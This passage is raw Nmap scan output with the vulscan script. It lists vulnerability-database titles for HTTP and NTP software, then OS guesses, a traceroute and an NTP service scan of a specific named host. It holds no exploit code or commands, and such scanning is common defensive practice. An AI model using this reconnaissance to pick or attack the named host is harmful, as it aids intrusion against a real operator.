15116| [1009433] Phorum HTTP_REFERER and Other Input Validation Flaw Permits Cross-Site Scripting Attacks
15117| [1009411] HP HTTP Server Certificates Can Be Uploaded By Remote Users to Gain Access to Managed Hosts
15118| [1009088] Sami HTTP Server Buffer Overflow Lets Remote Users Crash the Web Server
15119| [1009023] Monkey Web Server Can Be Crashed By HTTP GET Requests With No Host Value
15120| [1008998] httpdpalm Lets Remote Users Crash the System
15121| [1008997] Jim Rees PalmOS httpd Can Be Crashed By Remote Users
15122| [1008947] Check Point FireWall-1 Format String Flaw in HTTP Component Lets Remote Users Execute Arbitrary Code
15123| [1008866] WebLogic Server and Express Input Validation Flaw in Processing HTTP TRACE Requests Permits Cross-Site Scripting
15124| [1008842] Reptile Web Server HTTP Request Flaw Lets Remote Users Deny Service
15125| [1008838] Oracle HTTP Server 'isqlplus' Input Validation Flaws Let Remote Users Conduct Cross-Site Scripting Attacks
15126| [1008826] GeoVision GeoHttpServer Authentication Bypass Grants Access to Remote Users
15127| [1008822] Apache mod_perl File Descriptor Leak May Let Local Users Hijack the http and https Services
15128| [1008820] Mephistoles httpd Input Validation Flaw Permits Cross-Site Scripting Attacks
15129| [1008807] GeoHttpServer Can Be Crashed By a Remote User Sending a Long Password
15130| [1008563] Microsoft IIS Fails to Log HTTP TRACK Requests
15131| [1008559] Apache mod_php File Descriptor Leak May Let Local Users Hijack the https Service
15132| [1008554] Microsoft IE for Mac May Disclose Sensitive Information in Secure URLs to Remote Sites via HTTP Referer Field
15133| [1008549] Surfboard httpd Buffer Overflow May Allow a Remote User to Execute Arbitrary Code
15134| [1008463] LFTP Buffer Overflow in Processing HTTP Responses May Allow Remote Code Execution
15135| [1008342] Surfboard httpd Input Validation Flaw Lets Remote Users View Arbitrary Files on the System
15136| [1008265] Xitami Web Server Bug in Processing Certain HTTP POST Headers Lets Remote Users Deny Service
15137| [1008075] IA WebMail Server Buffer Overflow in Processing HTTP Headers Lets Remote Users Execute Arbitrary Code
15138| [1008036] tc.SimpleWebServer Buffer Overflow in Processing the HTTP Referer Lets Remote Users Execute Arbitrary Code
15139| [1008031] thttpd 'Host' Header Directory Traversal Flaw May Disclose Files to Remote Users
15140| [1008015] sh-httpd Discloses Files to Remote Users
15141| [1008007] thttpd defang() Buffer Overflow Lets Remote Users Execute Arbitrary Code
15142| [1007899] FirstClass HTTP Daemon Can Be Crashed By Remote Users
15143| [1007802] Null httpd Can Be Crashed By Remote Users Sending Incomplete HTTP POST Requests
15144| [1007797] TclHttpd 'dirlist.tcl' Discloses Directory Contents to Remote Users and Permits Remote Cross-Site Scripting Attacks
15145| [1007774] Xitami Web Server Can Be Crashed By Remote Users Sending Large HTTP GET Request Headers
15146| [1007712] Nokia Electronic Documentation Default Configuration Permits Remote HTTP Proxy Services
15147| [1007708] Minihttp File Sharing for net Password Parsing Flaw Grants Admin Privileges to Remote Users
15148| [1007707] Minihttp Forum Web Server Password Parsing Flaw Grants Admin Privileges to Remote Users
15149| [1007470] Lil' HTTP Server Discloses Web Server Passwords to Local Users
15150| [1007452] Xitami Web Server Fails to Log Non-HTTP Connections
15151| [1007383] Minihttp Forum Web Server Default Configuration Leaves Administrator Account Without a Password
15152| [1007364] IISShield May Fail to Drop a Specific Malformed HTTP Request
15153| [1007342] Cisco IOS Web Interface Buffer Overflow Lets Remote Users Send 2GB HTTP GET Requests to Execute Arbitrary Code
15154| [1007340] Small HTTP Server Discloses Administrator Password to Local Users
15155| [1007230] Apache HTTP Server 'rotatelogs' Bug on Win32 and OS/2 May Cause the Logging to Stop
15156| [1007215] OmniHTTPd Web Server Has Input Validation Holes in Additional Sample Scripts That Let Remote Users Conduct Cross-Site Scripting Attacks
15157| [1007159] Mabry HTTPServer/X Discloses Files on the System to Remote Users
15158| [1007146] Apache HTTP Server FTP Proxy Bug May Cause Denial of Service Conditions
15159| [1007058] NetScreen HTTP, Telnet, and FTP Authentication Feature Can Be Bypassed in Certain Cases
15160| [1007007] Microsoft Internet Explorer Custom HTTP Error Pages May Let Remote Users Execute Scripts in the Local Computer Zone
15161| [1006992] myServer Web Server HTTP Parsing Flaw Lets Remote Users Crash the Web Service
15162| [1006945] Novell HTTPSTK Can Be Crashed By Remote Users
15163| [1006852] BRS WebWeaver HTTP Buffer Overflows Let Remote Users Crash the Web Service
15164| [1006836] CUPS Internet Printing Protocol HTTP Header Processing Flaw Lets Remote Users Deny Service
15165| [1006833] EServ Can Be Used as HTTP and FTP Proxy Even When Not Configured as a Proxy
15166| [1006750] 3Com OfficeConnect DSL Router Memory Leak May Disclose Previous HTTP Request Data
15167| [1006666] SonicWALL Pro Can Be Crashed By Remote Users Due to Bug in Processing Large HTTP POST Requests
15168| [1006665] Pi3Web Server Can Be Crashed By Remote Users Sending Malformed HTTP GET Requests
15169| [1006616] AN HTTPD Web Server Sample Script ('count.pl') Lets Remote Users Create or Overwrite Files on the System.
15170| [1006546] CC Log Input Validation Hole in HTTP Header Fields Lets Remote Users Conduct Cross-Site Scripting Attacks
15171| [1006489] Abyss Web Server HTTP Header Validation Flaw Lets Remote Users Crash the Web Server
15172| [1005889] HTTP Fetcher Buffer Overflows May Let Remote Servers Execute Arbitrary Code
15173| [1005886] AN HTTPD Web Server Discloses Installation Path to Remote Users
15174| [1005730] Webster HTTP Server Multiple Bugs Let Remote Users Execute Arbitrary Code and View Files on the System
15175| [1005645] Zeroo HTTP Server Buffer Overflow Lets Remote Users Execute Arbitrary Code on the Server
15176| [1005624] LibHTTPd Buffer Overflow Lets Remote Users Execute Arbitrary Code
15177| [1005600] Light HTTPd (lhttpd) Buffer Overflow Lets Remote Users Execute Arbitrary Code to Gain Shell Access on the System
15178| [1005599] eZ httpbench Tool Discloses Files on the System to Remote Users
15179| [1005598] Tiny HTTPd Input Validation Bug Discloses Files on the Server to Remote Users and Also Lets Users Execute Commands
15180| [1005490] AN HTTPD Web Server Lets Remote Users Conduct Cross-Site Scripting Attacks
15181| [1005457] AN HTTPD Buffer Overflow in Processing SOCKS4 Requests Allows Remote Code Execution
15182| [1005417] Web Server 4 Everyone Can Be Crashed By Remote Users Sending Long HTTP GET Requests
15183| [1005350] IBM HTTP Server (IHS) Input Validation Bug Lets Remote Users Conduct Cross-Site Scripting Attacks
15184| [1005301] WASD HTTP Server for OpenVMS Has Multiple Flaws That Disclose Information and Let Remote Users Gain SYSTEM Access
15185| [1005297] acWEB HTTP Server Bugs Let Remote Users Crash the System and Permit Cross-Site Scripting Attacks
15186| [1005293] Monkey HTTP Daemon Discloses Files on the System to Remote Users
15187| [1005272] Null httpd Web Server Heap Overflow Lets Remote Users Execute Arbitrary Code With Root Privileges
15188| [1005259] IBM WebSphere Can Be Crashed By Remote Users Sending Large HTTP Headers
15189| [1005253] Check Point FireWall-1 HTTP Proxy Default Configuration May Allow HTTPS and FTP Traffic to Pass Through the Proxy
15190| [1005247] TrendMicro InterScan VirusWall Scanner Can Be Bypassed With HTTP Chunked Transfer Encoded Packets
15191| [1005167] NullLogic's Null httpd Web Server Input Validation Bug Lets Remote Users Conduct Cross-site Scripting Attacks
15192| [1005137] OmniHTTPd Web Server Input Validation Holes in Sample Applications Let Remote Users Conduct Cross-Site Scripting Attacks
15193| [1005026] CERN HTTP Proxy Server Input Validation Hole Lets Remote Users Conduct Cross-site Scripting Attacks
15194| [1004957] Jana Web Server Buffer Overflow in Processing HTTP Commands May Let Remote Users Execute Arbitrary Code on the System
15195| [1004867] Lucent Access Point Routers Can Be Crashed By Remote Users Sending a Large HTTP GET Request to the Web Management Interface
15196| [1004780] Norton Personal Firewall Buffer Overflow in HTTP Proxy May Allow Remote Users to Execute Arbitrary Code on the System
15197| [1004779] Norton Internet Security Buffer Overflow in HTTP Proxy May Allow Remote Users to Execute Arbitrary Code on the System
15198| [1004759] ATPhttpd Web Server Buffer Overflows Let Remote Users Execute Arbitrary Code on the Server
15199| [1004751] Lil' HTTP Server 'pbcgi.cgi' Script Input Validation Flaw Allows Remote Users to Conduct Cross-site Scripting Attacks Against Web Server Users
15200| [1004672] OmniHTTPd Web Server Bug in Processing Long HTTP Protocol Parameters Allows Remote Users to Crash the Web Service
15201| [1004581] 4D Web Server Buffer Overflow in Processing Long HTTP Requests May Let Remote Users Execute Arbitrary Code or Crash the Service
15202| [1004211] 4D Web Server Buffer Overflow in Processing Basic HTTP Authentication Lets Remote Users Crash the Server and May Allow Arbitrary Code to Be Executed
15203| [1004187] Mozilla Browser XMLHTTP Redirect Bug Lets Remote Users View Files on a User's Computer
15204| [1004186] Netscape Browser XMLHTTP Redirect Bug Lets Remote Users View Files on a User's Computer
15205| [1004123] Lil' HTTP Server Discloses Files Located Outside of the Web Document Directory to Remote Users and Allows Remote Users to Conduct Cross-site Scripting Attacks Against Administrators
15206| [1004014] Microsoft Internet Information Server ASP HTTP Header Processing Buffer Overflow Lets Remote Users Execute Arbitrary Code on the Server
15207| [1003875] HP Webproxy for HP-UX VVOS Operating System May Forward Certain HTTP Requests to the Internal Network Without Fully Processing the Packet Against the Rule Set
15208| [1003743] Thttpd Web Server Filtering Flaw Lets Remote Users Steal Cookies Via Cross-Site Scripting Attacks
15209| [1003613] Lil' HTTP Server Discloses Files in Password Protected Directories on the Web Server to Remote Users
15210| [1003600] Check Point FireWall-1 HTTP Proxy Bug Lets Remote Users Bypass Some Access Controls and Connect to Arbitrary Ports on Internal/Protected Hosts
15211| [1003598] ScriptEase Mini WebServer Can Be Crashed By Remote Users Sending Long HTTP Requests
15212| [1003584] Dino's WebServer Can Be Crashed By Remote Users Sending Multiple Long HTTP GET Requests
15213| [1003466] Opera Web Browser Allows Cross-site Scripting Attacks Via Non-HTTP Servers
15214| [1003462] Microsoft Internet Explorer Web Browser Allows Cross-site Scripting Attacks Via Non-HTTP Servers
15215| [1003411] NETGEAR Router Web Content Filtering Mechanism Can Be Bypassed By Remote Users With Certain Malformed HTTP GET Requests
15216| [1003210] Pi3Web HTTP Server Can Be Crashed By Remote Users Sending Long CGI Parameters
15217| [1003170] Cisco SN 5420 Storage Router Bugs Disclose the Router Configuration to Remote Users and Allow Remote Users to Crash the Router With Large HTTP Headers or Fragmented Packets
15218| [1003103] Anti-Web HTTPD (awhttpd) Web Server Can Be Crashed By Local Users
15219| [1002988] Tivoli SecureWay Policy Director WebSEAL Server Can Be Crashed By Remote Users Appending '%2e' to HTTP Requests
15220| [1002970] ATPhttpd Web Server Can Be Crashed By Remote Users Sending Long URLs
15221| [1002957] Microsoft Internet Information Server Can Be Crashed By Remote Users With HTTP Requests Containing Invalid Content-Length Values
15222| [1002818] Oracle9iAS Web Cache Can Be Crashed By Remote Users Sending Malformed HTTP Content Length Header
15223| [1002783] Thttpd Web Server Has a One Byte Buffer Overflow That Allows Remote Users to Execute Arbitrary Code
15224| [1002743] mini_httpd Web Server Discloses Password-Protected and Non-Readable Files to Remote Users
15225| [1002742] thttpd Web Server Discloses Password-Protected and Non-Readable Files to Remote Users in Certain Configurations
15226| [1002712] IBM AS/400 HTTP Server Discloses Source Code of Java Server Pages to Remote Users
15227| [1002600] Mozilla Browser Will Return HTTP Cookies to an FTP Server at the Same Domain as the HTTP Server, Which Could Be a Different Domain if the HTTP Server is Hosting Virtual Domains
15228| [1002526] Microsoft Internet Explorer (IE) Web Browser Has Multiple URL-related Flaws That May Allow for Remote Code Execution, Remote HTTP Request Generation, and Application of Incorrect Security Restrictions
15229| [1002267] AOLserver Can Be Crashed By Remote Users With a Long HTTP Authentication String And May Execute Arbitrary Code
15230| [1002050] OmniSecure's HTTProtect Temporary File Flaw May Let Local Users Overwrite Files
15231| [1002034] Caldera Docview Documentation Web Server Lets Local Users Gain Httpd User Account Privileges
15232| [1001905] Small HTTP Server Can Be Crashed By Remote Users
15233| [1001893] Another Buffer Overflow in GazTek ghttpd Web Server Lets Remote Users Execute Arbitrary Code on the Server
15234| [1001854] Cisco IOS Gives Remote Users Full Control of IOS Devices When HTTP Server Authentication with Local Authorization is Enabled
15235| [1001772] GazTek ghttpd Web Server Executes Arbitrary Code Supplied By Remote Users
15236| [1001618] OmniHTTP Web Server Allows Remote Users to Obtain Source Code of PHP Scripts and to Cause the Server to Consume All CPU Cycles
15237| [1001555] OmniHTTPd Pro Web Server Can Be Crashed By Remote Users
15238| [1001427] Small HTTP Server Can Be Crashed By Remote Users
15239| [1001248] Savant Web Server Can Be Crashed Remotely With Certain HTTP Requests
15240| [1001153] Symantec (Axent) Raptor Firewall May Allow Unauthorized Access Through the Firewall Using the HTTP Protocol
15241| [1000992] WhitSoft's SlimServe HTTPd Web Server Gives Users Remote Access to Files Outside of the Server's Main Directory
15242|
15243| OSVDB - http://www.osvdb.org:
15244| [90560] Varnish HTTP Accelerator Integration Module for Drupal Configuration Settings XSS
15245| [90917] Varnish cache_vary.c Multiple Function HTTP Vary Header Handling Remote DoS
15246| [88581] Squid Web Proxy HTTP Accelerator Mode Proxied Port Scan Weakness
15247| [61778] Varnish HTTP Request Escape Sequence Terminal Command Injection
15248| [51841] Varnish Malformed HTTP Request Remote DoS
15249| [5476] Squid HTTP Accelerator Mode ACL Bypass
15250|_
15251Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
15252Aggressive OS guesses: Linux 3.10 - 4.11 (95%), Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), Linux 3.18 (94%), ASUS RT-N56U WAP (Linux 3.4) (94%), Oracle VM Server 3.4.2 (Linux 4.1) (92%), Linux 3.1 (92%), Linux 3.2 (92%), Linux 3.12 (92%), Linux 3.13 (92%)
15253No exact OS matches for host (test conditions non-ideal).
15254Uptime guess: 15.104 days (since Sat Nov 9 18:39:14 2019)
15255Network Distance: 9 hops
15256TCP Sequence Prediction: Difficulty=259 (Good luck!)
15257IP ID Sequence Generation: All zeros
15258
15259TRACEROUTE (using port 80/tcp)
15260HOP RTT ADDRESS
152611 77.86 ms 10.243.204.1
152622 77.93 ms vlan102.as02.qc1.ca.m247.com (176.113.74.17)
152633 77.95 ms irb-0.agg1.qc1.ca.m247.com (37.120.128.168)
152644 77.93 ms te-1-5-2-0.bb1.fra2.de.m247.com (82.102.29.44)
152655 ...
152666 78.03 ms bhs-g1-nc5.qc.ca (142.44.208.173)
152677 ...
152688 78.06 ms be50-7.bhs-3a-a9.qc.ca (198.27.73.94)
152699 18.99 ms ns502056.ip-192-99-38.net (192.99.38.90)
15270
15271NSE: Script Post-scanning.
15272Initiating NSE at 21:08
15273Completed NSE at 21:08, 0.00s elapsed
15274Initiating NSE at 21:08
15275Completed NSE at 21:08, 0.00s elapsed
15276#######################################################################################################################################
15277Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-24 21:08 EST
15278Nmap scan report for ns502056.ip-192-99-38.net (192.99.38.90)
15279Host is up (0.028s latency).
15280
15281PORT STATE SERVICE VERSION
15282123/udp open ntp NTP v4 (secondary server)
15283| ntp-info:
15284|_ receive time stamp: 2019-11-25T02:08:43
15285| vulscan: VulDB - https://vuldb.com:
15286| [133843] ntp Port unknown vulnerability
15287| [128043] InfoVista VistaPortal SE 5.1 EditCurrentPresentSpace.jsp Parameter cross site scripting
15288| [128042] InfoVista VistaPortal SE 5.1 EditCurrentPool.jsp Parameter cross site scripting
15289| [128036] InfoVista VistaPortal SE 5.1 EditCurrentPresentSpace.jsp Parameter cross site scripting
15290| [105145] ntp up to 4.2.8p2-RC1/4.3.11 on Big Endian MD5 Key Generator ntp-keygen.c Variable weak encryption
15291| [96331] OpenNTPD up to 6.0 CN Validator weak authentication
15292| [95322] ntpd up to 4.2.8p8 Initial Sync Calculation unknown vulnerability
15293| [89036] Microsoft Windows up to Vista SP2 Print Spooler ntprint.dll PSetupDownloadAndInstallLegacyDriver privilege escalation
15294| [89035] Microsoft Windows up to Vista SP2 Print Spooler ntprint.dll PSetupDownloadAndInstallLegacyDriver memory corruption
15295| [87754] ntpd up to 4.2.8p7 Crypto-NAK Packet valid_NAK denial of service
15296| [87751] ntpd up to 4.2.8p7 Validation ntp_proto.c receive privilege escalation
15297| [60308] UTC Fire & Security GE-MC100-NTP/GPS-ZB Hardcoded Credentials unknown vulnerability
15298| [91177] WebTitan Appliance v3.50.x NTP Server Persistent cross site scripting
15299| [3368] Microsoft Windows up to Vista NNTP Response Heap-based memory corruption
15300| [141110] Cisco NX-OS ntp Packet Flooding denial of service
15301| [139263] Polycom Obihai Obi1022 5.1.11 NTP POST Request command injection
15302| [138862] Terracotta Quartz Scheduler up to 2.3.0 XML Data XMLSchedulingDataProcessor.java initDocumentParser XML External Entity
15303| [136554] Foxit Reader SDK Professsional 5.4.0.1031 Textbox IReader_ContentProvider PDF File memory corruption
15304| [136165] Foxit Reader SDK Professsional 5.4.0.1031 TextBox IReader_ContentProvider PDF File memory corruption
15305| [135088] ntp up to 4.2.8p12 NULL Pointer Dereference denial of service
15306| [131170] D-Link DIR-825 Rev.B 2.10 ntp_sync.cgi POST Request privilege escalation
15307| [129795] NTPsec up to 1.1.2 ntpd ntp_control.c denial of service
15308| [129794] NTPsec up to 1.1.2 ntp_control.c process_control() memory corruption
15309| [129793] NTPsec up to 1.1.2 ntp_control.c read_sysvars memory corruption
15310| [129792] NTPsec up to 1.1.2 ntpd ntp_config.c Request memory corruption
15311| [128241] jco.ir Karma 6.0.0 ContentPlaceHolder1_uxTitle ArchiveNews.aspx Parameter sql injection
15312| [124080] D-Link DIR-816 A2 1.10 B05 /goform/NTPSyncWithHost handler Shell Metacharacter command injection
15313| [122955] btrfsmaintenance up to 0.4.1 evaluate_auto_mountpoint Code Execution
15314| [121557] NeoMutt Message Data nntp.c memory corruption
15315| [121556] NeoMutt newsrc.c nntp_add_group memory corruption
15316| [119727] ntp 4.2.8p11 ntpq/ntpdc Long String Stack-based memory corruption
15317| [118765] Apple iOS up to 11.3.1 FontParser memory corruption
15318| [118715] Apple watchOS up to 4.3.0 FontParser memory corruption
15319| [117884] Foxit Reader 9.0.0.29935 PrintParams memory corruption
15320| [117883] Foxit Reader 9.0.0.29935 PrintParams memory corruption
15321| [114231] ntp 4.2.8p6/4.2.8p7/4.2.8p8/4.2.8p9/4.2.8p10 Symmetric Mode decodearr memory corruption
15322| [114140] ntp up to 4.2.8p11 Protocol Engine Source IP Address denial of service
15323| [114139] ntp up to 4.2.8p11 ntpd Timestamp denial of service
15324| [114138] ntp up to 4.2.8p11 ntpd ctl_getitem Packet denial of service
15325| [114137] ntp up to 4.2.8p6/4.3.91 ntpd Sybil privilege escalation
15326| [111779] Wireshark up to 2.4.3 JSON/XML/NTP/XMPP/GDB epan/tvbparse.c denial of service
15327| [104358] ntp up to 4.2.7 ntpd ntpd/ntp_config.c denial of service
15328| [98857] Apple tvOS up to 10.1 FontParser information disclosure
15329| [98856] Apple tvOS up to 10.1 FontParser memory corruption
15330| [98855] Apple tvOS up to 10.1 FontParser memory corruption
15331| [98854] Apple tvOS up to 10.1 FontParser memory corruption
15332| [98823] Apple watchOS up to 3.1 FontParser Out-of-Bounds information disclosure
15333| [98822] Apple watchOS up to 3.1 FontParser memory corruption
15334| [98821] Apple watchOS up to 3.1 FontParser memory corruption
15335| [98820] Apple watchOS up to 3.1 FontParser memory corruption
15336| [98741] Apple iOS up to 10.2 FontParser Out-of-Bounds information disclosure
15337| [98740] Apple iOS up to 10.2 FontParser memory corruption
15338| [98739] Apple iOS up to 10.2 FontParser memory corruption
15339| [98738] Apple iOS up to 10.2 FontParser memory corruption
15340| [98630] Apple macOS up to 10.12.3 FontParser Out-of-Bounds memory corruption
15341| [98629] Apple macOS up to 10.12.3 FontParser memory corruption
15342| [98628] Apple macOS up to 10.12.3 FontParser memory corruption
15343| [98627] Apple macOS up to 10.12.3 FontParser memory corruption
15344| [98552] ntp up to 4.2.8p9 Timestamp Origin Check spoofing
15345| [98551] ntp up to 4.2.8p9 ntpq Stack-based memory corruption
15346| [98550] ntp up to 4.2.8p9 Legacy MX4200 refclock mx4200_send memory corruption
15347| [98549] ntp up to 4.2.8p9 ctl_put memory corruption
15348| [98548] ntp up to 4.2.8p9 on Windows Data Structure denial of service
15349| [98545] ntp up to 4.2.8p9 Config Directive Segmentation Fault denial of service
15350| [98543] ntp up to 4.2.8p9 Configuration Directive denial of service
15351| [97826] Joomla CMS com_frontpage sql injection
15352| [95890] Apple watchOS up to 3.1.2 FontParser memory corruption
15353| [95889] Apple watchOS up to 3.1.2 FontParser memory corruption
15354| [95334] ntpd up to 4.2.8p8 on Windows UDP Packet denial of service
15355| [95333] ntpd up to 4.2.8p8 NULL Pointer Dereference denial of service
15356| [95332] ntpd up to 4.2.8p8 Control Mode privilege escalation
15357| [95321] ntpd up to 4.2.8p8 Origin Timestamp Protection Bypass privilege escalation
15358| [95320] ntpd up to 4.2.8p8 Source denial of service
15359| [95319] ntpd up to 4.2.8p8 Broadcast Packet denial of service
15360| [95318] ntpd up to 4.2.8p8 Broadcast Mode Replay Prevention denial of service
15361| [95317] ntpd up to 4.2.8p8 Rate Limit spoofing denial of service
15362| [94382] Apple macOS up to 10.12.1 FontParser memory corruption
15363| [94381] Apple macOS up to 10.12.1 FontParser memory corruption
15364| [94255] Apple tvOS up to 10.0 FontParser memory corruption
15365| [94254] Apple tvOS up to 10.0 FontParser memory corruption
15366| [94180] Apple iOS up to 10.1.1 FontParser memory corruption
15367| [94179] Apple iOS up to 10.1.1 FontParser memory corruption
15368| [93993] BusyBox NTP Packet networking/ntpd.c recv_and_process_client_pkt denial of service
15369| [93745] ntpd up to 4.2.8p8/4.3.93 UDP Packet NULL Pointer Dereference denial of service
15370| [93087] Apple watchOS up to 3.0 FontParser User information disclosure
15371| [93076] Apple tvOS up to 10.0 FontParser Out-of-Bounds information disclosure
15372| [93064] Apple macOS 10.12.0 FontParser Out-of-Bounds information disclosure
15373| [93044] Apple iOS up to 10.0.3 FontParser Out-of-Bounds information disclosure
15374| [92853] Oracle Communications Policy Management up to 9.7.3/9.9.1/10.4.1/12.1.1 NTP denial of service
15375| [92127] Apple tvOS up to 9.x FontParser Memory information disclosure
15376| [92108] Apple watchOS up to 2.x FontParser Memory information disclosure
15377| [92076] Apple macOS up to 10.11 FontParser memory corruption
15378| [91998] Apple iOS up to 10 FontParser memory corruption
15379| [91519] Microsoft Internet Explorer 9/10/11 MSHTML HandleStyleComponentProperty memory corruption
15380| [90452] Cisco IOS 15.5(3)S3/15.6(1)S2/15.6(2)S1/15.6(2)T1 NTP Interface Queue denial of service
15381| [88542] Meinberg IMS-LANTIME up to 6.20 NTP Time Server privilege escalation
15382| [88541] Meinberg IMS-LANTIME up to 6.20 NTP Time Server POST Request Stack-Based memory corruption
15383| [88540] Meinberg IMS-LANTIME up to 6.20 NTP Time Server POST Request Stack-Based memory corruption
15384| [87753] ntpd up to 4.2.8p7 Synchronization denial of service
15385| [87752] ntpd up to 4.2.8p7 Autokey denial of service
15386| [87750] ntpd up to 4.2.8p7 MAC denial of service
15387| [82989] ntp 4.2.8 ctl_getitem denial of service
15388| [82988] ntp 4.2.8 MATCH_ASSOC denial of service
15389| [82987] ntp 4.2.8 Trusted Key denial of service
15390| [82986] ntp 4.2.8 unconfig Directive denial of service
15391| [82985] ntp 4.2.8 IPv4 Bogon Packet privilege escalation
15392| [82983] ntp 4.2.8 Ephemeral Association privilege escalation
15393| [82982] ntp 4.2.8 ntpd Client privilege escalation
15394| [82981] ntp 4.2.8 Crypto NAK denial of service
15395| [82723] Cisco IOS/IOS XE ntp Time privilege escalation
15396| [81486] Apple iOS up to 9.2 FontParser memory corruption
15397| [81435] Apple Mac OS X up to 10.11.3 FontParser memory corruption
15398| [80654] ntp 4.2.8p5 ntpq Replay privilege escalation
15399| [80653] ntp 4.2.8p5 ntpq/ntpdc information disclosure
15400| [80652] ntp 4.2.8p5 ntpq Infinite Loop denial of service
15401| [80651] ntp 4.2.8p5 Origin Timestamp privilege escalation
15402| [80650] ntp 4.2.8p5 Authenticated Broadcast Mode privilege escalation
15403| [80649] ntp 4.2.8p5 reslist Command Stack-Based denial of service
15404| [80648] ntp 4.2.8p5 ntpdc NULL Pointer Dereference denial of service
15405| [80647] ntp 4.2.8p5 ntpq privilege escalation
15406| [80645] ntp 4.2.8p5 Key Checker spoofing
15407| [80644] ntp 4.2.8p5 Broadcast privilege escalation
15408| [78936] ntpd up to 4.2.8p5/4.3.78 ntp_crypto.c privilege escalation
15409| [78938] ntpd 4.2.8 sntp denial of service
15410| [78937] ntpd 4.2.8 logconfig Command Crash denial of service
15411| [78859] ntpd 4.2.8 autokey ntp_crypto.c denial of service
15412| [78858] ntpd 4.2.8 autokey ntp_crypto.c denial of service
15413| [78857] ntpd 4.2.8 ntp_crypto.c Extension Field denial of service
15414| [78856] ntpd 4.2.8 decodenetnum denial of service
15415| [78855] ntpd 4.2.8 KoD Packet denial of service
15416| [78854] ntpd 4.2.8 Rate Limit denial of service
15417| [78853] ntpd 4.2.8 Configuration Directive directory traversal
15418| [78852] ntpd 4.2.8 CRYPTO_ASSOC information disclosure
15419| [78851] ntpd 4.2.8 Private Mode Integer denial of service
15420| [78850] ntpd 4.2.8 Password Management Key File Use-After-Free memory corruption
15421| [78849] ntpd 4.2.8 Remote Configuration denial of service
15422| [78848] ntpd 4.2.8 URL Request save_config directory traversal
15423| [78847] ntpd 4.2.8 cookedprint memory corruption
15424| [78846] ntpd 4.2.8 refclock memory corruption
15425| [78845] ntpd 4.2.8 Password Management Heap-based memory corruption
15426| [78844] ntpd 4.2.8 Crypto-NAK Packet Logic privilege escalation
15427| [78808] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
15428| [78807] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
15429| [78806] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
15430| [78805] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
15431| [78804] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
15432| [78803] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
15433| [78802] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
15434| [78801] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
15435| [78800] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
15436| [78799] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
15437| [78798] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
15438| [78797] Apple Mac OS X up to 10.11.0 FontParser Font File memory corruption
15439| [78745] Apple iOS up to 9.0 FontParser Font File memory corruption
15440| [78744] Apple iOS up to 9.0 FontParser Font File memory corruption
15441| [78743] Apple iOS up to 9.0 FontParser Font File memory corruption
15442| [78742] Apple iOS up to 9.0 FontParser Font File memory corruption
15443| [78741] Apple iOS up to 9.0 FontParser Font File memory corruption
15444| [78740] Apple iOS up to 9.0 FontParser Font File memory corruption
15445| [78739] Apple iOS up to 9.0 FontParser Font File memory corruption
15446| [78738] Apple iOS up to 9.0 FontParser Font File memory corruption
15447| [78737] Apple iOS up to 9.0 FontParser Font File memory corruption
15448| [78736] Apple iOS up to 9.0 FontParser Font File memory corruption
15449| [78735] Apple iOS up to 9.0 FontParser Font File memory corruption
15450| [78734] Apple iOS up to 9.0 FontParser Font File memory corruption
15451| [78200] ntp up to 4.2.7 on Linux/OS X ntpd ntp_io.c spoofing
15452| [78199] ntp up to 4.2.7 ntpd ntp_crypto.c memory corruption
15453| [77314] pfSense up to 2.2.2 services_ntpd.php cross site scripting
15454| [77193] Apple Mac OS X up to 10.10.4 FontParser memory corruption
15455| [77192] Apple Mac OS X up to 10.10.4 FontParser memory corruption
15456| [77191] Apple Mac OS X up to 10.10.4 FontParser memory corruption
15457| [77147] Apple iOS up to 8.4.0 FontParser memory corruption
15458| [77146] Apple iOS up to 8.4.0 FontParser memory corruption
15459| [77145] Apple iOS up to 8.4.0 FontParser memory corruption
15460| [76265] Apple Mac OS X up to 10.10.3 FontParser TrueTypeScaler Font File memory corruption
15461| [75452] Apple Watch OS 1.0 FontParser memory corruption
15462| [74740] Apple MacOS X up to 10.10.2 ntp weak authentication
15463| [74718] Apple MacOS X up to 10.10.2 FontParser memory corruption
15464| [74665] ntpd up to 4.2.8 Symmetric Mode denial of service
15465| [74664] ntpd up to 4.2.8 MAC Checker weak authentication
15466| [74290] Dell Asset Manager GetClientPackage.aspx sql injection
15467| [69165] Red Hat JBoss Enterprise Application Platform 6.3.3 RESTEasy DocumentProvider XML External Entity
15468| [68927] Apple iOS up to 8.1.2 FontParser memory corruption
15469| [68926] Apple iOS up to 8.1.2 FontParser memory corruption
15470| [68879] Apple Mac OS X 10.8.5/10.9.5/10.10/10.10.1 FontParser memory corruption
15471| [68878] Apple Mac OS X 10.8.5/10.9.5/10.10/10.10.1 FontParser memory corruption
15472| [68456] NTP Daemon up to 4.2.7 Random Generator ntp_config.c config_auth weak authentication
15473| [68641] NTP Daemon 4.2.7 PRNG Crash information disclosure
15474| [68640] NTP Daemon 4.2.7 PRNG spoofing
15475| [68457] NTP Daemon up to 4.2.7 Random Generator weak authentication
15476| [68455] NTP Daemon up to 4.2.7 ntp_proto.c receive denial of service
15477| [68454] NTP Daemon up to 4.2.7 configure memory corruption
15478| [68453] NTP Daemon up to 4.2.7 ctl_putdata memory corruption
15479| [68452] NTP Daemon up to 4.2.7 crypto_recv memory corruption
15480| [71475] wEPISDParentPortal 1.0 X.509 Certificate spoofing
15481| [67032] Cisco IOS/IOS XE 15.2/15.4 NTP Service privilege escalation
15482| [11702] NTP Project ntpd 4.2.6 monlist Functionality ntp_request.c query denial of service
15483| [65493] Dlink DSL-2760U sntpcfg.cgi cross site scripting
15484| [10540] Google Chrome 29.0.1547.76 XML Document xmldocumentparser.cpp append memory corruption
15485| [10494] Cisco IOS/IOS XE NTP denial of service
15486| [9806] TRENDnet TEW-812DRU Input Sanitizer setNTP.cgi cross site scripting
